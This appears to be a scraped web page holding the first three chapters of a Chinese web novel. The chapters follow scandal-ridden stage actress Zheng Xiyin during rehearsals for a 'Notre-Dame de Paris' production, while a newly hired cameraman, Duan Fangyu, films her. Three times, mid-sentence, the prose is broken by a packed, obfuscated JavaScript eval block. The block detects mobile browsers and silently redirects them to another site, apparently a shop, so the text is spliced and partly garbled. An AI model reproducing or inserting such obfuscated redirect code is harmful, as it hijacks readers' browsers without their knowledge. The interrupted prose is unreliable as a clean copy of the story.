《她的二十七种死法》 1. 第 1 章 “郑希音是个疯子。” “这还用你告诉我？下一个！” “郑希音，电影演技……” “下一个下一个，我指的是最新啊，实时上榜的！” “...郑希音脚踏两条船，郑希音知三当三，郑希音滚出演艺圈，郑希音……” “OK停停停！” 高鹏飞连忙比划手势，阻止了小助理米燕对照手机再念下去。 富丽堂皇的剧场中央，琥珀色光线从圆弧形舞台落下，余光虚虚实实，映在他无比深皱的额角和鱼尾纹上。 米燕和司机吴峰悄悄对视一眼，默契地低头不说话。 只见高鹏飞扶着额头来回踱步，突然又问，“她人呢，到底去哪啦？” 米燕张了张嘴欲言又止，最后还是答，“刚刚你问过了，天台。” “真是，我都被气糊涂了。”高鹏飞深吸几口气，转而质问的目光重盯向她，“你这个助理怎么当的，怎么都不跟着？” 米燕委屈开口，“她拿着烟上去的……” 高鹏飞顿时噎了噎，知道再说下去，纯属自己刻意为难了，无奈闭起眼睛。 手机铃声响起。 他连忙去摸口袋，抬头瞬间，米燕只模糊瞥见屏幕上闪过“综艺PD”几个字，下一秒，亮光就被毫不犹豫按灭。 高鹏飞深沉长叹口气，倾而，又似刚好想起什么，滑动点开手机。 快速按了几下，电话接通刹那，他陡然变换生意人嘴脸，“喂，郭总啊，诶没错是我，高鹏飞……” 听不清电话那头说了什么。 “是的是的，我们郑演员一直以来多亏郭总您照顾…啊对对，您看之前说的数字，我们再讨论讨论，这个关键词热搜，还是帮忙撤了……” 舞台灯光变换，调试的背景音乐突然停止，话剧《巴黎圣母院》第一场排练近似尾声。 高鹏飞反应很快地手捂话筒，收敛声音，微弓腰，预备穿过一排排红布座椅，朝后门走去。 米燕和吴峰同步松了口气。 然屁股没及挨上椅凳，VIP首席，导演的话筒顷刻响起—— “休息十分钟，下一场，卡西莫多，弗比斯，爱斯梅拉达……演员做好准备。” 听到角色名，如闻魔咒般，米燕条件反射地站直身体，刚好对上了还没走远，高鹏飞凶神恶煞回头的表情。 “还愣着干什么，还不快去找！” — 一楼观众厅的后门关了又开。 话剧排练休息时间，察觉背后一抹阴影靠近，中心过道，何川从架好的摄影机后抬头。 黑色棒球帽檐压得很低，几乎挡住来人大半头发和脸颊，一身再简单不过的素黑穿搭，以至他瘦高的身姿，也融在剧场明灭暗淡的光氛里。 只有当他弯腰查看机器，微光下侧脸，才暴露几分不同寻常，雕琢的层次和骨骼感。 单就初印象，是个冷淡寡言，没什么特殊存在感的青年。 “接完电话啦？”何川问。 青年低声，“嗯。” 将移动的拍摄机器交给他，何川无聊刷手机的空闲，偶然想起作为公司老人，有必要稍微关心和提点一下后辈新人。 于是他又问：“你去的哪，没撞见郑希音吧？” 青年似乎顿了一瞬，帽檐下，磁冷低沉的嗓音，“没有，去的天台。” “那就好，”手机莹白的光亮，从何川光洁的发际线，划过他正儿八经强调的眉眼，“郑希音是个疯子，千万记住别靠近她——” “否则，会变的不幸。” 正常人一般都会问为什么。 余光里，青年手拖相机调整焦距的动作，只是轻微停顿。 何川以为他不信。 十个小时前，还翘腿坐办公室，悠闲和同事闲磕八卦的他，突然接到跟拍郑希音话剧的任务，也是这般动弹不得的反应。 部门新来的剪辑妹妹，妥妥的E人，不懂就问，“郑希音啊，我知道她，话剧界的独角戏女王，她的代表作《一个人消失在世上》我还看过，名气不小呢！这次《巴黎圣母院》这么经典的话剧，不是很好的项目么？” 由享誉法国的编剧拉斐尔，和中国著名导演冯青，联合改创的话剧《巴黎圣母院》，将于近日在南华市笙海大剧院上演，从创作初期就声势浩大，不仅因其包含经典的IP，更是恰逢中法建交60周年，具有文化友好交流的代表和纪念意义。 据说上面很重视这次合作，更有计划，为其特制官方纪录片。 而京世传媒作为此项目的资方之一，自然不敢轻视，立即安排专业摄影进行跟踪录制。 无论从何角度都增光添彩的任务，然而，当听说既定的女主演是郑希音，这块香饽饽，突然就成了烫手山芋。 郑希音，话剧业独一无二的女王，“黑红”届首当其冲的元老，著名的“惹祸搞事第一人”。 专业过硬，却疯名在外。 此时此刻，正对热搜榜上，十条便占了五条的名字，何川垂丧地跌到滑椅里，深叹口气。 “不是，究竟为什么呀？”剪辑妹妹还是一头雾水。 “这么跟你说吧，”何川薅了薅所剩无几的头发，开始举例子，“在我前一批进入公司的摄影前辈，跟拍田杰（著名歌唱家）的升了经理，跟赵栖影（舞蹈演员）的旅居巴黎，跟洪柏利（钢琴家）的已自创工作室，只有跟郑希音的，自请流放菲律宾……” 他无力拍了拍她肩膀，“你自行体会一下。” “真的假的？”剪辑妹妹满脸震惊。 其他同事配合点头总结，“郑希音就是有这样的潜质。” 每当你看见舞台上的她光芒四射，前途无量，下一幕，她总会用现实的大耳刮子，抽的你措手不及。 就拿最近的新闻来说吧—— 初出茅庐，便在各大领奖台崭露头角的郑希音，毫不留情拒绝后来一众影视导演的邀约，因此被粉丝套上“不屑进入影视圈”的傲慢光环。 去年却不知为何，她突然官宣参演国际名导王尔玉的电影《自白》，还被网友疯狂嘲笑打脸。 然电影于香港首映不到半月，票房过亿，好评如潮，郑希音的惊艳演技也成了彼时最热话题，前不久开春，更疯狂一举拿下香港金球奖最佳新人和最佳女配两份殊荣。 就在所有人瞩目以待，“郑希音事业高光”的记者通稿还墨迹未干，与电影小生和流量鲜肉“三角之争”的丑闻铺天盖爆出来，瞬间，郑希音又陷入“私生活混乱”的流言蜚语和漩涡中心，简直让人大跌眼镜！ 眼看网上的争议屡禁不止，愈演愈烈，话剧演出怎可能不受影响？ 只怕这一番下来，好处没捞到，又是白费功夫。 何川垂丧脑袋，认命般摇了摇头，外套懒散搭上肩膀，从座位站了起来。 “不带助理吗？”同事幸灾乐祸问。 他有气无力翻白眼，“你觉得谁愿意跟我去？” 这种情况，当然只能祸害新人。 直觉有热闹可以看，剪辑妹妹乐呵呵跟他跑上前。 — 穿过玻璃门重重的剪辑室，和滴滴作响的打印区，培训室门打开，未出任务的新人正齐刷刷站成一排。 不巧，电影组和综艺组也要选人。 三位同期的摄影师于是碰头—— “这次采访的影导人很大牌，我要挑个圆滑点的。” “我出外景，得来几个壮实的。” “何川你呢？” “我？我……郑希音。” 突然诡异的静默。 几秒后，率先发言的电影组摄影师双手一拍，“OK，那还是按照我的老方法来。” 他清了清嗓子，故意严肃咳嗽几声，那头，剪辑妹妹和新人们连忙收起玩笑，停止了叽叽喳喳。 摄影师面对众人开口：“这样，我先问几个问题，符合条件的，请不要犹豫主动站出来——” “第一，有亲戚或家人正在本公司任职的？” 一片鸦雀无声。 新人们面面相觑，不懂这突如其来的问话，要闹哪出。 摄影师于是假装不耐烦，“赶紧的，现在不承认，以后再被发现，问题可就大了哦。” 身着卡其色连帽卫衣的姑娘抱着手，立马上前一步，“我舅舅在公司。” “哪个部门，叫什么？” “没有部门……叫王世豪……” “哎呦王总！原来你是王总的外甥女啊，怎么不早说呢，来来来站累了吧，先坐下。”摄影师精彩展示一秒变脸。 过于熟悉的场面了，何川提着眉梢撇过头，试图躲避新人们纷纷飘过的无语眼神。 片刻热聊过去，下个问题，“有亲戚或家人从事本行工作的？” 这回染了一头金毛的男生站出来。 “你什么情况？” “我二叔在新飞影视公司。” “新飞？不错，和京世齐名的大公司呢，也是总经理？” “不是，跟我一样，实习。” “哦，这样啊~” “不过我爷爷是总裁。” “......” 又一番热情的嘘寒问暖后，第三个问题，“有亲戚或家人任职机关或事业单位的？” ...... 这样一路问到最后，培训室一改初起冷清的气氛，热闹融融。 新人们如愿以偿划到第一志愿的团队，电影和综艺组也喜笑颜开，各自领了组员离开。 很快，四四方方的空间，只剩下最后一个头戴棒球帽的青年，和何川面对面，大眼瞪小眼。 剪辑妹妹走到门口，趁何川不注意，还不忘好心回头，冲他做抹脖子的表情，口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958025|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 型疯狂暗示，“NONO，菲律宾”。 鸦黑帽檐下，青年一贯平静无澜的嘴角，无声卷了卷。 — “所以啊，千万记住我说的，都是为你们好……” 突然一片漆黑的剧院，只有舞台连接坐席的顶部，点亮几盏缥缈橘光。 休息结束，手机塞进口袋，何川手扶摄影机，预备重新投入工作，一边不忘总结提醒。 背后依旧无声无息。 这个名叫段方禹的青年，样貌不错，个子挺高，做起事情也利落不马虎，唯一不足就是差了背景，薄薄的履历一纸到头，同他整个人样一穷二白，若非有个好学校撑腰，恐怕连京世的大门都迈不进。 虽然他沉默寡言，不过好在还蛮会倾听的，以至不知不觉短短时间，何川就忘记上下级嫌隙，和他拉扯了许多。 就在何川以为对方沉默，是代表虚心接受的时候，但没想到，青年会问—— “既然如此，前辈没有打算过吗？” “打算什么？” “自请去菲律宾的事。” 何川明显愣住了，“我为什么？” “还能为什么……”段方禹断句停顿的一瞬，却莫明，让何川的呼吸提了起来。 因为人情世故？因为无势无权？ 青年低着头，剧场忽明忽暗的光线里，只依稀看得见，他清冷凌厉的下颚，“因为郑希音是个疯子，而你会变的不幸——” “不是刚刚你一直告诉我的。” 他回答的理所当然，何川却噎得哑口无言。 万万没想到，会被一个新人，用他自己的话堵住喉咙。 一时想不到漂亮话反驳，何川只能凭借怒火掩盖事实，“你在嘲讽我？” “不是，”段方禹摇了摇头，像完全意料不到，他会这么理解，“只是单纯疑惑，毕竟我和前辈，同病相怜。” 他把“同病相怜”四个字，说的很缓很慢，却又轻平。 仿佛根本上事不关己。 若仔细听，何川不难发现，只可惜前辈的架子端久了，他并不相信一个初来乍到的新人有胆量叫板，只当段方禹出自无知。 因此语气跟着缓和了些，何川说，“你刚来能懂啥，我又没说错，郑希音不是疯子是什么？” 他极力证明似地，抬手朝前一指，“不然，你有见过哪个剧场，排练马上开始，女主演却迟迟找不到人的情况吗？” 像映衬他的话，前排导演话筒里，刚好出现对女主演的传唤。 舞台上下，所有人的目光，四面八方纷纷扫射。 电话无人接听，去天台寻找的米燕和吴峰也无功而返，高鹏飞扶着座椅，焦头烂额之际，对上数道戏谑讽笑的视线。 与郑希音竞争结仇的，早就看她不顺眼的，还有明里友好暗里怒骂，等着看笑话的…… 数不胜数。 导演最后通牒压下来，高鹏飞脑海，只剩一条路：以死谢罪。 然而这时—— “噗呲~” 一道短促而清甜的嗤笑，从遥远未知的后排，穿过重重叠叠的席位，穿过偌大宽阔的剧院中空。 循声望去，却没发现任何踪影，高鹏飞还以为自己幻听。 直至舞台水银色的追光开启，像一道粼粼波束，向上推晃，摆动，最后定格。 万千纤尘闪烁，落在她的身上。 她站了起来，火焰般绽放的红裙，贴合在脂玉白皙的肌肤，恰到好处纤细修长的颈部线条，随踏下阶梯的起伏，在跳跃的长发波浪里，若隐若现。 如同开在黑暗旷野，一枝绚烂无比、璀璨无双的花朵。 像玫瑰，也像罂粟。 这就是郑希音。 何川就这样眼睁睁看着，看郑希音一步步走近，从原来临近他们，只有不及三排座位的距离。 她的步调轻佻嫚媚，她的眼神缠绵悱恻，而她的手指微微抬起，玩闹般，游曳跳动在红椅和空气中间，像刽子手绝杀前，最后狂欢的舞步。 然后妖娆利落地，穿过他们。 血色随她火红荡漾的裙摆，浮起，垂落，然后蔓延。 空气里弥留的，是她浓烈残酷的香水气息。 不知不觉，何川抓住椅背的手，已紧张到开始发颤，“完了完了，她什么时候出现在那的，该不会，我们说的，她全都听见了吧？！” 水月银白的光色，伴随红裙擦肩，一闪而过段方禹清绝的半张脸。 恰如抛入星湖的一块玉石，粼粼闪动之后，重又恢复沉寂，掩没在如夜雾的朦胧里。 也许何川再问得早一点，也许他并未抬头看，也许没有对上她目空一切的笑眼，也许他会回答没有…… 后退一步，段方禹掂着相机的胳膊垂落，手心抵在椅背，摇了摇头。 “她听见了。” 也许，远不止这些。 2. 第 2 章 娇艳似火的红裙随步伐摇曳，她一言不发地走近那可怜而丑陋的犯人，从胸前取出一只葫芦，送到了他渴到干裂的嘴边。① 这时，观众看见卡西莫多演员干燥如焚的独眼里，滚出一大颗眼泪，沿着那浮肿而难看的脸颊，慢慢流下来。 悲伤的幕后音缓缓响起：这也许是那可怜的人，生平第一次流出眼泪。 大概正是那样的爱情，把一个人引向了绞刑架，把另一个人引向了地狱。 她被判了绞刑，而他，堕入了地狱。 — 舞台灯光尽数熄灭，突然又全都亮起来。 火焰般耀眼的红色，不知何时，已变成支离破碎、惨白如烬的残布，郑希音离开绞刑架，随手往后撩动蓬乱披散的头发。 首次正式排练告一段落，台下导演合上剧本，审视的眼神划过所有人，轮到她时，轻轻点了点头。 “笑了！刚刚，她是不是看着我笑了？！” 观众席正中，何川盯着摄影机镜头，惊恐地后退一步。 刚好撞到手举相机折返的人。 半晌没有回答，何川扭头，才发现段方禹同样沉浸在摄影画面里，压根没有听见似的。 他了如指掌抬眉，问：“第一次看郑希音的话剧？” 眼睛倾斜，然后抬高，迟钝几秒，段方禹终于低微“嗯”了声。 难怪，会被迷惑也在所难免，化身角色后，璀璨灯光下，一舞一跃，一泪一笑都让人屏吸的郑希音，的确有足以摄魂夺魄的魅力。 沉迷，疯狂，幸福，失望，破碎，然后放弃。 爱情也好，理想也罢，总归都要经历一个这样的过程，才能彻底清醒。 何川摇了摇头，“不过我还是奉劝你，趁早地，活在现实~” 静默一会儿，像才明白他的话，段方禹从相机的参数中回神，默默朝舞台瞥去。 重又低下的帽檐，盖住他缓缓勾勒，不以为然的一眼。 — “Bravo！精彩！” 接过助理递来的水杯，郑希音浅缀一口，又塞回米燕手里，“正巧”错开舞台边缘，经纪人主动奉献的胳膊。 高鹏飞尴尬地缩回手，闭了闭眼，不忘撑着笑容继续说，“现在，我们可以好好谈谈接下来的事了吧。” 她漫不经心的语调反问：“比如呢？” “比如你知道今天我为了你，又烧掉多少钱吗？” 眼波流转，郑希音听到话语回头。 高鹏飞还以为她终于良心发现，缓了缓，却发现她目光径直越过他，落向观众席后排。 那里有谁？ 他跟着疑惑回头，分明就空空如也。 “你在看什么？” “没什么。” 刚说完，郑希音就干脆利落转身，朝后台方向。 高鹏飞连忙大跨步跟了上去，正欲大声指控，在撞到后台穿梭来往的工作人员时，他急忙压低了语音，“八十万！整整八十万，就为撤几个热搜，你知道是什么概念吗？” “一块劳力士的手表，一个爱马仕的包包，一条宝诗龙的短链，还是说，一个普通人一辈子达不到的开销？” 她慵懒到近乎没心没肺的语调，只会让高鹏飞更加气郁难消，“看吧，你明明什么都知道！” 郑希音眼尾一挑，反击，“所以啊，你为什么还要浪费这笔钱。” “浪费，这个词用得好，用的极好！” 从侧边绕到过道前面，高鹏飞倒退地看她，强调说，“如果不是你任性地被狗仔拍到，我就不用浪费。” 郑希音停下步伐，却笑了，“如果不是你逼我多交朋友，我就不用任性。” 助理推开休息室的门，她头也不回，姿态懒漫走向沙发。 只听背后，高鹏飞手抵门框还在无奈咆哮，“Why！Why！为什么偏偏是男朋友！就不能正常一点？” “正常？” “找女生们逛逛街，喝喝下午茶，发发微博营销一下闺蜜情，不是很简单吗？” 胳膊肘抵在沙发翼，手心托住下巴，郑希音妖娆的眼睛眨巴眨巴，语气半真半假在调笑，“难道你不知道？这个行业所有的女生，都讨厌我~” 被堵得无话可说，高鹏飞走到梳妆台前靠立，只能毫无办法，揉着被她刺激得更加烦痛的太阳穴。 手机这时又响。 他掏出来看一眼，犹豫几秒也没按掉，反扣在桌面。 很快，像深思熟虑了许久，又或根本不需要纠结，他长叹一声，郑重其事站直身体，“事已至此，去参加综艺吧？嗯？” 郑希音慵懒地抬起眼眸。 在得到无情反对之前，高鹏飞更加卖力劝说：“你要想清楚，这可能是你拯救路人缘的唯一机会了。” 可郑希音是谁呢？路过的狗都知道，她向来是个油盐不进的主。 “那又怎样？” 果然不出所料。 再度深吸口气，不得已，高鹏飞只能亮出最后底牌。 “大老板可发话了，如果这次丑闻不能顺利解决，影响到工作室声誉，你们之前协议只能作废，而且必须暂停你的所有演出……” 观察对面一如既往，无动于衷的表情，他便再无顾忌，一口气说下去，“还有一件事没来得及告诉你，就在刚才，热搜突然爆出孟凡文抑郁症入院的贴图，标题是——” “‘永别了，我的爱’。” — “天呐，他不会想不开吧！” 剧院周边不远，一家日式小清新装修的和风饭馆。 段方禹和何川刚点完餐，巧合撞见在附近取景的另外两名同事，于是四人一起坐下来。 戴黑框眼镜的男同事率先刷到新闻，开启了八卦话题。 卷毛同事顺口接道：“这样下去，早晚的事。” 何川吸了口拉面热汤，配合点头，“郑希音真是害人不浅。” 习惯性十分钟解决吃饭，段方禹放下筷子的同时，对上其他三人飘来的目光，似乎轮到他发言，于是顿了顿—— “孟凡文是谁？” 眼镜同事哈笑几声，结果呛到一口辣椒。 卷毛小伙则惊呼，“真的假的，你不知道孟凡文？” 事实上自从有了二娃，早已脱离年轻梯队多年的何川，对网络上的流量鲜肉同样知之甚少，索性趁机装作解围般，冲卷毛抬抬下巴。 “你跟他科普下呗。” 卷毛小伙便兴高采烈充当了人生头一回课代表。 整件事情要说认真起来，其实很简单，逃不过娱乐圈“狗血”二字。 话剧女王郑希音，和初出茅庐的演员小生孟凡文，因合作小众话剧《金粉》结缘，后来有了人气，孟凡文资源见好，跨界参演多部电影配角，积累不少粉丝，也因此被冠上“电影小生”称号，不久便离开了话剧界。 但自话剧合作以来，CP粉们断续爆出两人的互动细节和暧昧同款，导致恋爱绯闻传出，由于双方团队统一默契地冷处理，舆论引起的水花，也就不声不响很快平息。 然而就在今年开春，郑希音获奖不久，一张两人的聚餐合照突然流传全网，有了类似证据，绯闻再度甚嚣尘上。 更有狗仔很快扒出，孟凡文的小号竟然还点赞过这张图片，间接坐实了恋情传闻。 事件若到此结束，充其量不过粉丝的破防，CP粉的狂欢，无关其他。 可是几天后，一位宣称“孟凡文正牌女友061”的网民突然跳出来，图文并茂，真情切意地内涵对方出轨，某女星横刀夺爱。 一通操作下来，郑希音自然而然被全网贴上了“知三当三”的标签。 所谓一波未平一波又起。 工作室起诉诽谤的公文还热乎，谁料半月不到，郑希音又被狗仔拍到，凌晨半夜从“流量鲜肉”沈星宇的小区出来，顷刻炸翻了饭圈。 吃瓜网友们通宵扒出，两个八竿子打不到一起的演员，唯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958026|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一的交集，就是共同出演了《自白》那部电影。 可惜了，沈星宇作为偶像代新生，才参加完综艺选秀节目，大有冲击顶流的趋势，竟就这么自毁前程。 郑希音则更不用说，“脚踏两条船”的头衔，这回根本用不着营销号起哄，就已经死死地彻底扣在她脑门上了，还外加一连串的“疯言疯语”，“不知廉耻”，“背景神秘潜规则”，“私生活混乱”...... 一时间，话剧粉、电影粉、偶像粉、CP粉，还有一些看谁都不惯，惯常怼天怼地的路人粉，为这些纠缠不清的八卦怼到一起，在网络上刀锋相见，你来又我往，撕的热火朝天。 吃瓜群众则隐在其中，津津有味地上蹿下跳，整个场面，堪比二十一世纪来，最纪实狗血的长篇连续剧。 你以为到这就结束了？ 太单纯！ 这不半月不到，在所有人都以为这出大戏该要落幕的时候，就在刚刚，孟凡文的一篇自发热搜，将事件推向又一高潮。 “感情遭受背叛”，“生病入院”，“抑郁症确诊”...... 虽然全文一如往常没提及任何名字，但所涵盖的词条，无论哪个单拎出来，都足以引起一番热议。 更何况，网友自认已有足够充分的背景了解，事实不言而喻。 郑希音这个疯女人，就是整个事件的罪魁祸首！ 两位男演员，何其可怜！ ...... “看吧，我说什么来着。” 一顿饭功夫，听完八卦，何川抽出纸巾擦了擦嘴，不忘马后炮地证明自己。 段方禹难掩笑意地垂下头。 眼镜男盯着他被帽子挡去的大半张脸，奇怪问：“你笑什么？” 微微抬起下巴，段方禹愣了愣，仿佛并未意识到自己有笑。 他说：“感觉……像是在听别人的故事。” 眼镜男才囧起眉头，又听他补充，“就，另一个世界的人。” “啥意思啊？” 段方禹抿抿唇角，轻描淡写的语调开启，如同讨论起虚幻一般，“只是难免奇怪罢了，一位身经百战的女主角，在自己亲身造就的戏剧里，居然连一句台词都没有。” 其他三人眼神扫射，彼此面面相觑。 卷毛小伙先反应过来，“我知道！之前有媒体朋友透漏过，考虑最近话剧演出，所以郑希音拒绝了一切采访。” “那官方回应是死了吗？”仔细想想，眼镜男也觉得不对。 “这种情况说明什么？肯定是心虚了呗。”何川笃定看破的表情。 段方禹：“因为心虚所以一言不发么。” 何川点头，“对啊。” “是正常人会做的事情……” 说到后半句，段方禹重又低头，像随口到故意，声音却又轻得无辜—— “可郑希音她，不是个疯子吗？” 一句话，再度噎得何川蹦不出字来。 延迟上桌的甜品被推到一边，双臂环抱，他不由眯起眼，一时猜不透面前总跟他唱反调的年轻人，到底是真的故意，还是缺根神经。 静默须臾，他恍然大悟似的敲了敲桌面，说：“我知道了，你该不会——是郑希音的粉丝吧？！” 被他质疑到失笑，段方禹轻轻摇头。 何川当然不信，“那你怎么解释，对热门的影视明星一无所知，却偏偏认识话剧界的郑希音？” 众所周知，后者的受众范围要小得多。 饭馆靠近木制橱窗的座位，远远地，可以眺望到剧院顶端，闪亮发光的宣传屏。 段方禹无意间抬头，一身火焰红裙的爱斯梅拉达，璀璨不可方物的容颜正巧透过缥缈时空，也遥远地，眺望着他。 他无声轻笑。 是啊，为什么呢？ --------------------------- 标注①：改编引自法国作家雨果，著作《巴黎圣母院》。 3. 第 3 章 “所以呢，他的生死跟我有什么关系？” 郑希音突然一把拉开了帐帘。 上身只余一件单薄打底的纯白内衣，遮不住纤细骨立却凹凸有致的身材，半解半褪的裙带滑落，散在腰间，露出胯骨连接上方，那一角暧昧的蕾丝边缘。 大片雪白的肌肤，在斜角一盏暖灯烘托下，泛起金玉般的细腻光泽。 禁忌又纯洁。 高鹏飞不自觉睁圆眼珠，随即慌慌张张转过身，避开了视线。 “我说你，就不能换好衣服再出来嘛！” 他语气十分无奈，这般符合她性子，毫无顾忌的惊吓或惊喜，即使合作这么多年，他还是不太习惯。 背后传来短短低冷的取笑，然后是帐帘重新拉上的滑音。 高鹏飞松气抬头，对上休息室墙端悬挂的时钟。 下午一点四十五分，距离话剧第二次排练开始，还有十五分钟。 趁这个时间，他还是接之前话题，继续苦心劝说：“即便孟凡文的事跟你真没关系，你我这么想，可记者和粉丝呢，他们会这样想吗？抑郁症可不是闹着玩的。” “那怎么办呢，要不我也去医院走一遭？” 轻轻懒懒的声音越靠越近，高鹏飞转回头，不知何时，郑希音换好一身如血的红裙出来。 “又或者，省事一点，直接自/残——”不知哪来把触目惊心的牛/刀，突然被她，抵在白瓷一般的手腕，“就像这样？” 那一刹那，高鹏飞吓得差点魂飞魄散，“你干什么？！” 在他踉跄着脚步，和米燕一起奔过去阻拦之前，郑希音大惊小怪地笑，晃了晃手中弹动的软刀。 “道具啊道具，逼真吧，你们怎么还是这么容易被骗~” 高鹏飞僵住身体，紧抿嘴唇，深深地闭上了眼睛。 他也想问上帝，这世界怎会有如此一个人，越是笑的没心没肺，却越是如罂粟般，张扬灿烂。 “你再这样玩闹，早晚有一天，会适得其反的！”高鹏飞缓了缓气，“就像眼前，你告诉我这个被动的烂摊子，到底要怎么解决？” 挑起一束刚卷好的头发，夹在手指摩挲，郑希音妖娆的凤眼上挑，从梳妆镜里回望他。 “急什么，好戏才刚刚开始，让他们再吵一会儿吧。” 他头痛欲裂，“再吵下去，凉的可是你！” “那怎么办呢，事实我都告诉你了，你大可以告诉媒体呀。” “事实……哦，你所谓的事实就是，两位男演员以及综艺PD都想勾搭你，没成功，反被你恶整拒绝，所以怀恨在心，趁你事业大火，借机蹭热度，外加联合起来实施报复？” “嗯呐。” 高鹏飞张了张口，最后还是扶住额头，气得笑了。 望着他万般无语的表情，郑希音挑起一抹玩味的笑，戏谑地问，“你现在是不是在想，郑希音已经自恋到深入骨髓，无可救药了？” 他立即摇摇头，“不，我只是单纯觉得，你就是个疯子。” 她笑得更加灿烂了。 震耳的来电铃声三度响起，打断她明艳绽放的笑颜。 抢先一步翻开桌上手机，瞥见屏幕“综艺PD李永南”四几个字，郑希音反应平淡地抬了抬手指，示意。 “接吧。” “接了能说什么？”高鹏飞不太明白。 自签约以来，虽说签的是为郑希音量身打造的个人综艺，可整整一个月，PD那边提供的所有选题，她一个都不放眼里。 不管她方才爆料是真是假，现在这时候呛声，只会将人惹恼得更加彻底。 “瞧你担忧的样子，想太多，”郑希音蓦地收起玩笑，倾斜下巴，转换一脸无辜的认真，“跟他讨论其中一个选题而已，也不行？” “这么说，你终于有满意的，决定开始综艺了？” 高鹏飞顿时喜笑颜开，赶紧又说：“好哇，太好了，早这么想就对了！我这就打电话，约好PD明早老地方见……” 郑希音却打断说：“不，让他现在过来。” 高鹏飞按着屏幕的手一顿，诧异不解，“为什么？” 精致艳彩的眼影，点缀在蒲扇般浓黑的睫毛之上，当她睁开眼的瞬间，眸光闪过的一丝璀璨，像狐狸。 “当然是因为，迫不及待~” — 米燕挎着水杯和补妆包，站在舞台左边一侧，时间已是下午五点。 记得高鹏飞临走前，特意私下嘱咐她，要看好郑希音。 他是这么说的：“我下午还有会议和其他演员通告要跟，等李PD来了，你给我紧盯住他们之间一举一动，别让她乱来，但凡有任何大打出手或其他不对劲的苗头，必须第一时间告诉我。” 舞台上的排练绘声绘色，台下的环境安逸无声，仿佛只有她一个人战战兢兢。 因为眼前这种情况，米燕实在不知道，应不应该报备。 倘若报备吧，可风平浪静，什么都还没发生，倘若不报备吧，她偷偷瞄了眼身旁PD李永南当下的脸色，那分明是暴风雨欲来的前兆。 也实在难怪，因为从露脸到现在，他已等了整整三个小时。 郑希音分明看见他，却从头到尾不闻不问，话剧排练不断来回推演，停停走走，谁知何时才有尽头！ 又半小时过去，李永南彻底忍无可忍，叫上策划尹雪，掉头就走。 “李导这是要去哪啊？” 刻意甜柔的嗓音通过耳麦，传到上方扩音话筒，回荡在剧院场内。 话剧排练终于结束，陆续散场离开舞台的人员，因这突如其来一句，纷纷停住脚步，朝台下望去。 李永南不得已回头。 郑希音已经摘下耳麦，随心所欲坐在了高高的舞台边缘，裙摆随双腿垂顺而下，笑容瑰丽刺眼地，冲他招手。 他于是抓住机会，怒火汹汹朝她走去，“郑希音，你故意的吧？” 她却努努嘴，表情天真无辜，“故意什么？” “你说呢！已经第二次了！叫我们过来干等着，自己却没有时间！” “李导，你这可就冤枉我了，毕竟我只是个演员，也无法控制导演的节奏不是？你若实在生气，不如把冯导拉出来，当面控诉。” 她眨巴几下黑珍珠似的眼睛，又浅笑吟吟继续说，“呐，作为赔礼，我不是也请你们，免费看了场话剧嘛~” “你——”李永南彻底黑透了脸。 他提拳正要发作，被策划尹雪及时拽住胳膊，眼神示意场合。 主动站上前，尹雪摆出和颜悦色的微笑，代替圆场，“那郑小姐，听说选题你有了中意的一个，所以才叫我们过来，不如我们现在就来谈谈吧。” “啊，选题……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958027|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胳膊向后反撑在舞台地板，郑希音姿态懒漫地倾斜身体，仿若后知后觉，“你是说那些让我上山下地，不是野外生存，就是挑战极限，最后灰头土脸，恶搞到一身狼狈的选题？” “你懂什么？这都是当下最受欢迎的节目！”李永南气愤反驳。 郑希音难得认同地点头，“的确，毕竟谁能不爱看，平日里风光无限的明星搞笑出丑。” “你知道就好！” “所以呢，你的这些个选题，我一个都不想选。” 台下李永南怔了怔，不由再度攥紧拳头，以为自己听错了，“你刚说什么？” 郑希音不耐烦地贫了下嘴角。 尹雪又一次抢在李永南发火之前，赶紧问道：“那你叫我们来是？” 她竟然耸了耸肩回答，“就是为了告诉你们这句话啊。” “......” 眼看李永南下一秒就要发飙，尹雪也已放弃阻拦，一直安静等在舞台边缘的米燕，此时此刻，默默咽下一大口空气。 然后疯狂点开手机通讯录。 救命啊！！ “啧，疯女人。” 千钧一发的刹那，从观众席，突然传来一声清晰笑骂。 所有人顷刻转头。 发现剧场中央还有零星外人和摄影机，李永南陡然清醒，连忙收住拳头。 于是当大家视线越过前排，从摄影机里，纷纷朝何川投望过来，何川才意识到，自己因为看热闹太过入神，一时没忍住笑意，不仅把心里话说了出来，还说的无比豪放肆意。 他立马慌乱地弯腰，将脑袋隐在摄像机后头，以为这样就能躲避注意，殊不知，反而欲盖弥彰了。 没得来及关合的镜头，就怼在眼前。 